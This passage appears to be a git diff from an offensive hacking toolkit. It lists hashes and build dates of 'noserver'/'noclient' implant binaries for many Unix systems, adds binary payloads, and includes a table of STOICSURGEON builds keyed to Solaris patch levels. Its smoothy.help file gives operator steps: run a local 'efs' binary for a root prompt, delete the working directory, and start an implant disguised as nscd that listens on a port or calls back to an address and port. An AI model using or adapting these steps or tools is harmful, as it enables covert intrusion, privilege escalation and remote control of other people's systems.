+E4BB312243DD18D33021FFEA8D340D3950ACFBFD Wed May 20 19:04:07 2009 [PITCHIMPAIR.12] watcher.x86.linux_v.2.5.0.1 +54CAAE586EF45AB2208CA91F35F9CE170FEB06A7 Tue Apr 6 14:12:27 2010 [PITCHIMPAIR.12] watchmove.sh +392EA3F962C592B8976E452B4DB07C3AF73447CB Fri Apr 15 18:12:31 2011 [PITCHIMPAIR.12] wrapsift.sh +9CC0375932CBC695BB620FE37EBD97A082588BB2 Thu Apr 19 17:11:53 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-hppa1.1.hp.hpux-10.20 +450BE4BE9B63C9F8FD27E30E1E9AAE2B7A4C8DCD Mon Jun 6 06:23:34 2011 [PITCHIMPAIR.12] noserver-3.0.5.3-hppa1.1.hp.hpux-11.00 +0F8B7D72965F317B9CFC30CCD31AD77BADD88C15 Mon Jun 6 06:23:34 2011 [PITCHIMPAIR.12] noserver-3.0.5.3-i386.pc.solaris-2.10 +8D4A76E4810630309869B4054AAEA16B999D1259 Mon Jun 6 06:23:34 2011 [PITCHIMPAIR.12] noserver-3.0.5.3-i386.unknown.freebsd-4.7 +9AF2E01DBC95B18400FA97EFE6BEF2AB33E34BA7 Mon Jun 6 06:23:34 2011 [PITCHIMPAIR.12] noserver-3.0.5.3-i386.unknown.freebsd-5.1 +3DC4840463383354A38CD1E135949E3E6B7DA1F7 Mon Jun 6 06:23:34 2011 [PITCHIMPAIR.12] noserver-3.0.5.3-i386.unknown.freebsd-6.1 +869C6C74FCCA3251A5079F773A67F0E4ADFEE81B Mon Jun 6 06:23:34 2011 [PITCHIMPAIR.12] noserver-3.0.5.3-i386.unknown.freebsd-7.0 +5E718D96F058C88BD5A56840693746B725DCC8E9 Mon Jun 6 06:23:34 2011 [PITCHIMPAIR.12] noserver-3.0.5.3-i686.pc.linux.gnu.redhat-5.0 +687C2379218A31B8EECE12EA4F4634515CA6CA9B Tue Sep 20 15:09:24 2011 [PITCHIMPAIR.12] noserver-3.0.5.3-i686.pc.linux.gnu.redhat-6.0 +8656C8398298D3B201AFEDAAFAF45D82AB54980A Mon Jun 6 06:23:34 2011 [PITCHIMPAIR.12] noserver-3.0.5.3-i686.pc.linux.gnu.redhat-ES +68D296D905BE58F132BEB7272E859678F07AB2D4 Mon Jun 6 06:23:34 2011 [PITCHIMPAIR.12] noserver-3.0.5.3-powerpc.ibm.aix-5.1 +8F1DA0456CCCC1455C0406E4A961C4548FBA6F31 Mon Jun 6 06:23:34 2011 [PITCHIMPAIR.12] noserver-3.0.5.3-sparc.sun.solaris-2.6 +CCE3140894BDBB9D6F7356D2483CC7FBA90A4E3B Thu Apr 19 17:56:29 2007 [PITCHIMPAIR.12] noserver-3.0.3.4-i386.pc.bsdi-2.1 +01D6A6C217D14F248F4AEB5F2D95E47E062D1757 Thu Apr 19 17:07:09 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-alphaev6.dec.osf-4.0f +C838FC0705A337DFF766E7803DBCEC10A2FAEF5C Thu Apr 19 17:06:02 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-alphaev67.unknown.linux.gnu.redhat-7.0 +9CC0375932CBC695BB620FE37EBD97A082588BB2 Thu Apr 19 17:11:53 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-hppa1.1.hp.hpux-10.20 +D6FF31312BD32DAF84E6DCE4CFBE72D93139169F Thu Apr 19 17:13:51 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.pc.sco3.2v-5.0.5 +6E438480A70E154CEB090EAEC1B79768144EC1EE Thu Apr 19 17:14:35 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.pc.solaris-2.6 +AFFC16D1BF3831060745BF5A1B3BD928A61926EC Thu Apr 19 17:16:56 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.freebsd-4.3 +16DF569585516E500BFB8A1DB0AA295A48761E49 Thu Apr 19 17:17:03 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.freebsd-4.4 +81BE78CB312739FA3BCD8763EC4082BAB7A63DFA Thu Apr 19 17:17:14 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.freebsd-4.5 +6808CF4BAA1127D4E347EA4275B131FD4171E583 Thu Apr 19 17:25:33 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.freebsd-6.0 +B8EFD08AF7A66CC8D38B457A714CA096CBC68495 Thu Apr 19 17:27:32 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.openbsd-3.4 +575F35479DDCC3CBA2CF1CFF5FAD56D9829F390C Thu Apr 19 17:27:57 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.openbsd-3.7 +D329F552C4DF6A020EC1F5C4C22AB1D54DD3A950 Thu Apr 19 17:30:21 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i586.pc.linux.gnu.redhat-5.0 +179975D30A51B3C78297B3F5925D9F230276A2A4 Thu Apr 19 17:35:38 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i686.pc.linux.gnu.redflag-2.0 +35AC1425105179D33FD2B7E0207839617BE4EB0C Thu Apr 19 17:36:30 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i686.pc.linux.gnu.redhat-ES +063CDA75A48DD85702C143A5C2D2383067061813 Thu Apr 19 17:32:06 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i686.pc.linux.gnulibc1.slackware-4.0.0 +EAC91997E8DEEF5C30E1D98DD1553AF8F307C7C1 Thu Apr 19 17:34:20 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i686.pc.linux.gnuoldld.redhat-6.0 +43449922E6BC7EBFAE83A419AA0B27280A1BD937 Thu Apr 19 17:37:12 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-mips.sgi.irix-5.3 +98E8B8CE0DEA55932B14E6F83B083AE511832F19 Thu Apr 19 17:38:47 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-powerpc.ibm.aix-4.3.3.0 +1F1BC94C493C211897DABC6802C69C1480E48D69 Thu Apr 19 17:39:32 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-sparc.sun.solaris-2.3 +67D1E40E2A5FE645BBEAEE0F24F4DD5A61C5BD46 Thu Apr 19 17:39:37 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-sparc.sun.solaris-2.4 +C42860C8D6426ABFDA19D9557B995BF6B54047B5 Thu Apr 19 17:39:42 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-sparc.sun.solaris-2.5 +B7AFD98C8B2DEF1B99C1035920342FF17D014BBE Thu Apr 19 17:39:55 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-sparc.sun.solaris-2.5.1 +0F993F91CCDF78778FA5A73D2F78E8A396E3286A Thu Apr 19 17:40:47 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-sparc.sun.solaris-2.7 +156AAE8819BA25C9F6CC2E436C7034D30E0DF648 Thu Apr 19 17:43:02 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-sparc.unknown.linux.gnu.redhat-6.2 +8D4EED0C666065AD5BFAA6F0055231DB8D997950 Fri Oct 16 18:37:41 2009 [PITCHIMPAIR.12] noserver-3.0.4.2-armv5b.linux +7CA22B6DDCDFE427B95EBEE1D168F93A5D44BEC0 Thu Jan 7 17:41:08 2010 [PITCHIMPAIR.12] noserver-3.0.4.3-mips.linux +E27DA9FB028889BE5DC7B83AF40D964081B26F54 Fri Jun 25 14:25:44 2010 [PITCHIMPAIR.12] noserver-3.0.4.4-i386.mac +0AE3B4B1BCCF1BC5E0BAD76AF0FC9AA011EB573D Thu Apr 19 17:19:35 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.freebsd-4.3-static +3337B623774116C30C79795C293E6D11BEB1A3C5 Thu Apr 19 17:19:29 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.freebsd-4.4-static +B0CE74303980B61DE036FFDFAB11268506A5DF9B Thu Apr 19 17:19:23 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.freebsd-4.5-static +8868975739E892591FF1FCEF715EFF5D90A63B95 Thu Apr 19 17:26:02 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.freebsd-6.0-static +17B78BF223B4639DA6813253FFEA0C09DE56A5E6 Thu Apr 19 17:27:42 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.openbsd-3.4-static +8319E8F7279EF8A5AA646C064C87D5FE0B1213EA Thu Apr 19 17:28:05 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i386.unknown.openbsd-3.7-static +43ED4E18E31F2DEF06AED1815F28F7EB4ABF46BD Thu Apr 19 17:31:05 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-i586.pc.linux.gnu.redhat-5.0-static +B99BF7A731731214546DEB9FCFC8755FDB8749F2 Thu Apr 19 17:43:10 2007 [PITCHIMPAIR.12] noserver-3.0.4.1-sparc.unknown.linux.gnu.redhat-6.2-static +8D4EED0C666065AD5BFAA6F0055231DB8D997950 Fri Oct 16 18:37:41 2009 [PITCHIMPAIR.12] noserver-3.0.4.2-armv5b.linux-static +037EE5F3DF49078FAB09C785433E443078BE775F Mon Jun 6 06:23:34 2011 [PITCHIMPAIR.12] noserver-3.0.5.3-i386.unknown.freebsd-4.7-static +0274BD33C2785D4E497B6BA49F5485CAA52A0855 Mon Jun 6 06:23:34 2011 [PITCHIMPAIR.12] noserver-3.0.5.3-i686.pc.linux.gnu.redhat-5.0-static +8CFAB34EF79F1270FE7CDE2F529886E9E163E699 Tue Sep 20 16:28:45 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-hppa2.0w.hp.hpux-11.00 +A00AA49C77C8359FED40B8E98288232A839BC1BA Tue Sep 20 16:28:45 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i386.apple.darwin-10.1 +CF03DCFAFB57D6605DB254BB54441C43FC9792F2 Tue Sep 20 16:28:45 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i386.pc.solaris-2.6 +AF5BD50867FD34C03530C5D477B5452DBC1F7381 Tue Sep 20 16:28:45 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i386.pc.solaris-2.8 +D907FC41207FD301E8F5ECDC93486A47A6723165 Tue Sep 20 16:28:45 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i386.unknown.freebsd-4.7 +755F74E02EAA6F819131C2255EC5821470BE64F3 Tue Sep 20 16:28:45 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i386.unknown.freebsd-4.7-static +C990F7F3D9A87417A21A9830355BC4DE94FC152D Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i386.unknown.freebsd-5.1 +64C7A9341DC0148513EE0E3B76EED95901492523 Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i386.unknown.freebsd-6.1 +F445E5330CADB62BDAF8C02FC66B5D0C4CC13987 Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i386.unknown.freebsd-7.0 +F2096011F136D1388D399C3BD665692FA79E3972 Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i686.pc.linux.gnu.redhat-5.0 +F6218CE079271ABC6B4FE6F5E7B99287E84A4467 Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i686.pc.linux.gnu.redhat-5.0-static +687C2379218A31B8EECE12EA4F4634515CA6CA9B Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i686.pc.linux.gnu.redhat-6.0 +C3D2D2705DB03434525727901CD177E64894BF50 Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-i686.pc.linux.gnu.redhat-ES +8CA04580538CF0825DDC54FF15A02E4A53062AB2 Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-powerpc.ibm.aix-5.1 +7E048D7923FDA1F84E96DF1182FBB87B4E4CA30E Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-sparc.sun.solaris-2.6 +BABF40038F042B21EA0426311B9F12181F52DE49 Tue Sep 20 16:28:46 2011 [PITCHIMPAIR.12] noserver-3.1.0.1-sparc.sun.solaris-2.8 + +392fbcab34f6e3b46d04a9ac85cd1ab1f1ff4418 Fri Dec 16 00:00:00 2011 [PITCHIMPAIR.18] noclient-3.1.0.5-i686.pc.linux.gnu.redhat-ES +0edd78c61541bd461e4d6d1762bdde466741d4da Fri Dec 16 00:00:00 2011 [PITCHIMPAIR.18] noserver-3.1.0.5-hppa2.0w.hp.hpux-11.00 +0e73651aaa15849fb73f1c592d7e913d03a43134 Fri Dec 16 00:00:00 2011 [PITCHIMPAIR.18] noserver-3.1.0.5-i386.apple.darwin-10.4 +30b07175e42e9e8dd384a5328e3e95a559a17240 Fri Dec 16 00:00:00 2011 [PITCHIMPAIR.18] noserver-3.1.0.5-i386.pc.solaris-2.6 +6e4eb7626fcd8e1700c323fed3c1c6d0fd620487 Fri Dec 16 00:00:00 2011 [PITCHIMPAIR.18] noserver-3.1.0.5-i386.pc.solaris-2.8 +345ea4115eee87daebbdfac1d667f4705d3d9d69 Fri Dec 16 00:00:00 2011 [PITCHIMPAIR.18] noserver-3.1.0.5-i386.unknown.freebsd-4.7 +d514c701b4dde060c3c94b778d8bf17f0e3a3423 Fri Dec 16 00:00:00 2011 [PITCHIMPAIR.18] noserver-3.1.0.5-i386.unknown.freebsd-4.7-static +6b1948677e93537a8bf8c7eda66cb14dcc3dfe62 Fri Dec 16 00:00:00 2011 [PITCHIMPAIR.18] noserver-3.1.0.5-i386.unknown.freebsd-5.1 +a9a375840f64630171469ca897b1cc3d02e7b444 Fri Dec 16 00:00:00 2011 [PITCHIMPAIR.18] noserver-3.1.0.5-i386.unknown.freebsd-6.1 +30ad471d8d2bf8681db38470d34384b081ae58a4 Fri Dec 16 00:00:00 2011 [PITCHIMPAIR.18] noserver-3.1.0.5-i386.unknown.freebsd-7.0 +9925c95239197b35e8e3e3579672505f260cf7ed Fri Dec 16 00:00:00 2011 [PITCHIMPAIR.18] noserver-3.1.0.5-i686.pc.linux.gnu.redhat-5.0 +d0f9582a7e64b771739541b04b2b28f3404fae77 Fri Dec 16 00:00:00 2011 [PITCHIMPAIR.18] noserver-3.1.0.5-i686.pc.linux.gnu.redhat-5.0-static +fde0b34026005c8ed677e6bc00449a200866e5ce Fri Dec 16 00:00:00 2011 [PITCHIMPAIR.18] noserver-3.1.0.5-i686.pc.linux.gnu.redhat-6.0 +9cc58679c3b68bbe26554881c2d7d4fbeb62c64c Fri Dec 16 00:00:00 2011 [PITCHIMPAIR.18] noserver-3.1.0.5-i686.pc.linux.gnu.redhat-ES +5c91c0cbace2999dd64eaad9919c8b4e38f9aa1f Fri Dec 16 00:00:00 2011 [PITCHIMPAIR.18] noserver-3.1.0.5-powerpc.ibm.aix-5.1 +6bd3d86fd9a3b0b9d54197269b5c935cf97bb1ed Fri Dec 16 00:00:00 2011 [PITCHIMPAIR.18] noserver-3.1.0.5-sparc.sun.solaris-2.6 +fedc5144c3dabab8c7a028ab39b067d3f0b2b6c3 Fri Dec 16 00:00:00 2011 [PITCHIMPAIR.18] noserver-3.1.0.5-sparc.sun.solaris-2.8 + +f8cf2697acdcf1eeec9565102dba94be5d3c6568 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] client/addkey.py +97f5303b45367a1687251b95fb57f76bca584d4c Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] client/default_key.txt +07eb67e608450210dc7618b22d43a19ae51e598b Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] client/genkey.py +9149c57199d70046ad2c6c466540ca62cfa76363 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] client/noclient-3.2.1.1-i686.pc.linux.gnu.redhat-ES +bbca2ef9acf9bf2fa2e11f44fd371708ba25201c Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] client/noprep.py +e3e74c64ebbae93be18f3cf0049a00aa9fd4e260 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] client/Store +495e7391ce61f4720b89084652bb762df7fb800a Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-hppa2.0w.hp.hpux-11.00 +fc430f2b3b4f3622574b084636a539f68de312bb Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386.apple.darwin-10.4 +e380b1d90cd310182a5cfea76528ac1d47e8c6da Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386-junos-8.4-and-below +4f2b7b74fc5aa44baba506bc8448815f8dcdd6c6 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386-junos-8.5-and-above +f47f5be9faaac37db4601c256df80e0bc48d11b1 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386.pc.solaris-2.6 +fbccc35451045a77b6febcf3ffdaebbc33d2d633 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386.pc.solaris-2.8 +38be788ca4c54628102728a997089ba0d81a0b5d Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386.unknown.freebsd-4.7 +8859476032d2124d1e6c02304b185a7f56e9d050 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386.unknown.freebsd-4.7-static +3bbf856ecf96671094d8e02f779577c05cee74ba Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386.unknown.freebsd-5.0 +1d829859fe5997184ef2a3e473e1b7c44b5b5dee Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386.unknown.freebsd-6.1 +40c95a082beec0d46b73fef73def4758fcc7e4e5 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i386.unknown.freebsd-7.0 +9b1a6ff78882d8f84e44bc23b7216b85a472b1e6 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i686.pc.linux.gnu.redhat-6.0 +757353623c139700e8a9bcfa04cccb6a97a8f4ff Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i686.pc.linux.gnu.redhat-6.0-static +11f42348e6978ad1316adb927dcb12f8ca21fce1 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-i686.pc.linux.gnu.redhat-6.0-static-noipv6 +798fb16bbde0512a9d93f2feea2afc685185321f Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-powerpc.ibm.aix-5.1 +ae8a30afe15da6f2e7ed48f222b0b10671e15d80 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-ppc-junos +4a4b981df5f0eaf8a94db674f88cacbac5acecf0 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-sparc.sun.solaris-2.7 +83b7105495a2309aa424c1ed5109c26218f23193 Mon May 21 19:04:45 2012 [PITCHIMPAIR.23] server/noserver-3.2.1.1-sparc.sun.solaris-2.8 + diff --git a/Linux/up/sift.tar.bz2 b/Linux/up/sift.tar.bz2 new file mode 100644 index 0000000..c9feaf2 Binary files /dev/null and b/Linux/up/sift.tar.bz2 differ diff --git a/Linux/up/skimcountry.tar.bz2 b/Linux/up/skimcountry.tar.bz2 new file mode 100644 index 0000000..4b67ee4 Binary files /dev/null and b/Linux/up/skimcountry.tar.bz2 differ diff --git a/Linux/up/skimcountry.v1.2.SunOS5.9.targetdl b/Linux/up/skimcountry.v1.2.SunOS5.9.targetdl new file mode 100755 index 0000000..49227be Binary files /dev/null and b/Linux/up/skimcountry.v1.2.SunOS5.9.targetdl differ diff --git a/Linux/up/slyheretic_checks.tar.bz2 b/Linux/up/slyheretic_checks.tar.bz2 new file mode 100644 index 0000000..16f0c59 Binary files /dev/null and b/Linux/up/slyheretic_checks.tar.bz2 differ diff --git a/Linux/up/sm11x.linux b/Linux/up/sm11x.linux new file mode 100755 index 0000000..6e12ad9 Binary files /dev/null and b/Linux/up/sm11x.linux differ diff --git a/Linux/up/smoothy.help b/Linux/up/smoothy.help new file mode 100644 index 0000000..cc663b4 --- /dev/null +++ b/Linux/up/smoothy.help @@ -0,0 +1,13 @@ +mkdir /tmp/1291aaab/ +cd /tmp/1291aaab +cp /tmp/.X11R6/efs . +./efs +# root prompt +cd /tmp; rm -rf /tmp/1291aaab + +#either +PATH=. P=24844 nscd +or +PATH=. CIP=a.a.a.a CPORT=25 nscd + + diff --git a/Linux/up/sparcv9/date b/Linux/up/sparcv9/date new file mode 100755 index 0000000..ae5b3d0 Binary files /dev/null and b/Linux/up/sparcv9/date differ diff --git a/Linux/up/sparcv9/it b/Linux/up/sparcv9/it new file mode 100755 index 0000000..2c85336 Binary files /dev/null and b/Linux/up/sparcv9/it differ diff --git a/Linux/up/sparcv9/rip b/Linux/up/sparcv9/rip new file mode 100755 index 0000000..ae5b3d0 Binary files /dev/null and b/Linux/up/sparcv9/rip differ diff --git a/Linux/up/stoicctrls.tar.bz2 b/Linux/up/stoicctrls.tar.bz2 new file mode 100644 index 0000000..4f18028 Binary files /dev/null and b/Linux/up/stoicctrls.tar.bz2 differ diff --git a/Linux/up/stoicversions.levels b/Linux/up/stoicversions.levels new file mode 100644 index 0000000..591d112 --- /dev/null +++ b/Linux/up/stoicversions.levels @@ -0,0 +1,127 @@ +1.2.7.2 117350-47 STOICSURGEON-Solaris Mon Aug 13 2007 +1.2.7.2 117350-47 STOICSURGEON-Solaris Mon Aug 13 2007 +1.2.7.1 122300-11 STOICSURGEON-Solaris Fri Aug 10 2007 +1.2.7.1 122300-11 STOICSURGEON-Solaris Fri Aug 10 2007 +1.2.7.3 106541-44 STOICSURGEON-Solaris Mon Aug 27 2007 +1.2.7.3 106541-44 STOICSURGEON-Solaris Mon Aug 27 2007 +1.2.12.2 125100-10 STOICSURGEON-Solaris Wed Sep 19 2007 +1.2.12.2 125100-10 STOICSURGEON-Solaris Wed Sep 19 2007 +1.2.12.3 125101-10 STOICSURGEON-Solaris Fri Sep 21 2007 +1.4.3.4 127111-05 STOICSURGEON-Solaris Tue Feb 26 2008 +1.4.3.4 127111-05 STOICSURGEON-Solaris Tue Feb 26 2008 +1.4.3.2 117350-51 STOICSURGEON-Solaris Tue Feb 26 2008 +1.4.3.2 117350-51 STOICSURGEON-Solaris Tue Feb 26 2008 +1.4.3.3 122300-18 STOICSURGEON-Solaris Tue Feb 26 2008 +1.4.3.3 122300-18 STOICSURGEON-Solaris Tue Feb 26 2008 +1.4.3.1 106541-44 STOICSURGEON-Solaris Tue Feb 26 2008 +1.4.3.1 106541-44 STOICSURGEON-Solaris Tue Feb 26 2008 +1.4.3.7 127112-10 STOICSURGEON-Solaris Mon Mar 10 2008 +1.4.11.1 127111-11 STOICSURGEON-Solaris Mon May 5 2008 +1.4.11.1 127111-11 STOICSURGEON-Solaris Mon May 5 2008 +1.4.3.6 122301-21 STOICSURGEON-Solaris Mon Mar 10 2008 +1.4.3.5 117351-53 STOICSURGEON-Solaris Mon Mar 10 2008 +1.4.3.8 122300-25 STOICSURGEON-Solaris Wed May 21 2008 +1.4.3.8 122300-25 STOICSURGEON-Solaris Wed May 21 2008 +1.4.3.9 122301-23 STOICSURGEON-Solaris Thu May 22 2008 +1.4.11.2 127127-11 STOICSURGEON-Solaris Thu May 22 2008 +1.4.11.2 127127-11 STOICSURGEON-Solaris Thu May 22 2008 +1.4.14.1 127128-11 STOICSURGEON-Solaris Mon Jun 9 2008 +1.7.7.1 144488-14 STOICSURGEON-SPARC-SUN-SOLARIS2.10 Fri Jul 15 2011 +1.4.26.2 137111-08 STOICSURGEON-SPARC-SUN-SOLARIS2.10 Thu Dec 18 2008 +1.4.26.2 137111-08 STOICSURGEON-SPARC-SUN-SOLARIS2.10 Thu Dec 18 2008 +1.4.34.3 138888-03 STOICSURGEON-SPARC-SUN-SOLARIS2.10 Fri Apr 3 2009 +1.4.34.3 138888-03 STOICSURGEON-SPARC-SUN-SOLARIS2.10 Fri Apr 3 2009 +1.4.34.5 138888-08 STOICSURGEON-SPARC-SUN-SOLARIS2.10 Thu May 14 2009 +1.4.34.5 138888-08 STOICSURGEON-SPARC-SUN-SOLARIS2.10 Thu May 14 2009 +1.5.11.4 141414-08 1.5.11.4 STOICSURGEON-SPARC-SUN-SOLARIS2.10 Wed Sep 23 2009 +1.5.11.4 141414-08 STOICSURGEON-SPARC-SUN-SOLARIS2.10 Wed Sep 23 2009 +1.5.18.1 142900-03 STOICSURGEON-SPARC-SUN-SOLARIS2.10 Thu Jan 28 2010 +1.5.31.10 142900-13 STOICSURGEON-SPARC-SUN-SOLARIS2.10 Thu Jul 22 2010 +1.7.0.2 144488-11 STOICSURGEON-SPARC-SUN-SOLARIS2.10 Mon Apr 25 2011 +1.6.13.1 142909-17 STOICSURGEON-SPARC-SUN-SOLARIS2.10 Mon Dec 13 2010 +1.8.0.1 148888-03 STOICSURGEON-SPARC-SUN-SOLARIS2.10 Mon Jul 15 2013 +1.7.30.2 147440-12 STOICSURGEON-SPARC-SUN-SOLARIS2.10 Thu May 31 2012 +1.7.13.3 144488-17 STOICSURGEON-SPARC-SUN-SOLARIS2.10 Wed Sep 28 2011 +1.7.15.6 147440-08 STOICSURGEON-SPARC-SUN-SOLARIS2.10 Tue Jan 3 2012 +1.7.36.7 147440-23 STOICSURGEON-SPARC-SUN-SOLARIS2.10 Thu Oct 4 2012 +1.7.33.5 147440-19 STOICSURGEON-SPARC-SUN-SOLARIS2.10 Thu Jul 19 2012 +1.7.45.1 147440-27 STOICSURGEON-SPARC-SUN-SOLARIS2.10 Thu Jan 3 2013 +1.7.30.5 122300-63 STOICSURGEON-SPARC-SUN-SOLARIS2.9 Fri Jun 29 2012 +1.7.30.5 122300-63 STOICSURGEON-SPARC-SUN-SOLARIS2.9 Fri Jun 29 2012 +1.4.26.1 122300-32 STOICSURGEON-SPARC-SUN-SOLARIS2.9 Thu Dec 18 2008 +1.4.26.1 122300-32 STOICSURGEON-SPARC-SUN-SOLARIS2.9 Thu Dec 18 2008 +1.4.34.2 122300-36 STOICSURGEON-SPARC-SUN-SOLARIS2.9 Thu Apr 2 2009 +1.4.34.2 122300-36 STOICSURGEON-SPARC-SUN-SOLARIS2.9 Thu Apr 2 2009 +1.5.10.2 122300-40 STOICSURGEON-SPARC-SUN-SOLARIS2.9 Wed Sep 2 2009 +1.5.10.2 122300-40 STOICSURGEON-SPARC-SUN-SOLARIS2.9 Wed Sep 2 2009 +1.5.31.12 122300-51 STOICSURGEON-SPARC-SUN-SOLARIS2.9 Mon Jul 26 2010 +1.5.31.12 122300-51 STOICSURGEON-SPARC-SUN-SOLARIS2.9 Mon Jul 26 2010 +1.5.11.5 122300-43 STOICSURGEON-SPARC-SUN-SOLARIS2.9 Thu Oct 1 2009 +1.5.11.5 122300-43 STOICSURGEON-SPARC-SUN-SOLARIS2.9 Thu Oct 1 2009 +1.5.11.6 122300-44 STOICSURGEON-SPARC-SUN-SOLARIS2.9 Wed Oct 7 2009 +1.5.11.6 122300-44 STOICSURGEON-SPARC-SUN-SOLARIS2.9 Wed Oct 7 2009 +1.6.12.3 122300-51 STOICSURGEON-SPARC-SUN-SOLARIS2.9 Tue Dec 7 2010 +1.6.12.3 122300-51 STOICSURGEON-SPARC-SUN-SOLARIS2.9 Tue Dec 7 2010 +1.7.0.4 122300-57 STOICSURGEON-SPARC-SUN-SOLARIS2.9 Mon May 2 2011 +1.7.0.4 122300-57 STOICSURGEON-SPARC-SUN-SOLARIS2.9 Mon May 2 2011 +1.7.13.6 122300-60 STOICSURGEON-SPARC-SUN-SOLARIS2.9 Wed Oct 5 2011 +1.7.13.6 122300-60 STOICSURGEON-SPARC-SUN-SOLARIS2.9 Wed Oct 5 2011 +1.7.15.10 122300-61 STOICSURGEON-SPARC-SUN-SOLARIS2.9 Tue Jan 10 2012 +1.7.15.10 122300-61 STOICSURGEON-SPARC-SUN-SOLARIS2.9 Tue Jan 10 2012 +1.7.36.6 122300-64 STOICSURGEON-SPARC-SUN-SOLARIS2.9 Wed Oct 3 2012 +1.7.36.6 122300-64 STOICSURGEON-SPARC-SUN-SOLARIS2.9 Wed Oct 3 2012 +1.7.45.5 122300-64 STOICSURGEON-SPARC-SUN-SOLARIS2.9 Fri Jan 4 2013 +1.7.45.5 122300-64 STOICSURGEON-SPARC-SUN-SOLARIS2.9 Fri Jan 4 2013 +1.7.60.5 122300-64 STOICSURGEON-SPARC-SUN-SOLARIS2.9 Fri Jun 14 2013 +1.7.60.5 122300-64 STOICSURGEON-SPARC-SUN-SOLARIS2.9 Fri Jun 14 2013 +1.7.24.3 127721-07 STOICSURGEON-SPARC-SUN-SOLARIS2.8 Tue Apr 3 2012 +1.7.24.3 127721-07 STOICSURGEON-SPARC-SUN-SOLARIS2.8 Tue Apr 3 2012 +1.4.26.3 117350-57 STOICSURGEON-SPARC-SUN-SOLARIS2.8 Thu Dec 18 2008 +1.4.26.3 117350-57 STOICSURGEON-SPARC-SUN-SOLARIS2.8 Thu Dec 18 2008 +1.4.34.1 117350-60 STOICSURGEON-SPARC-SUN-SOLARIS2.8 Thu Apr 2 2009 +1.4.34.1 117350-60 STOICSURGEON-SPARC-SUN-SOLARIS2.8 Thu Apr 2 2009 +1.5.10.1 117350-62 STOICSURGEON-SPARC-SUN-SOLARIS2.8 Wed Sep 2 2009 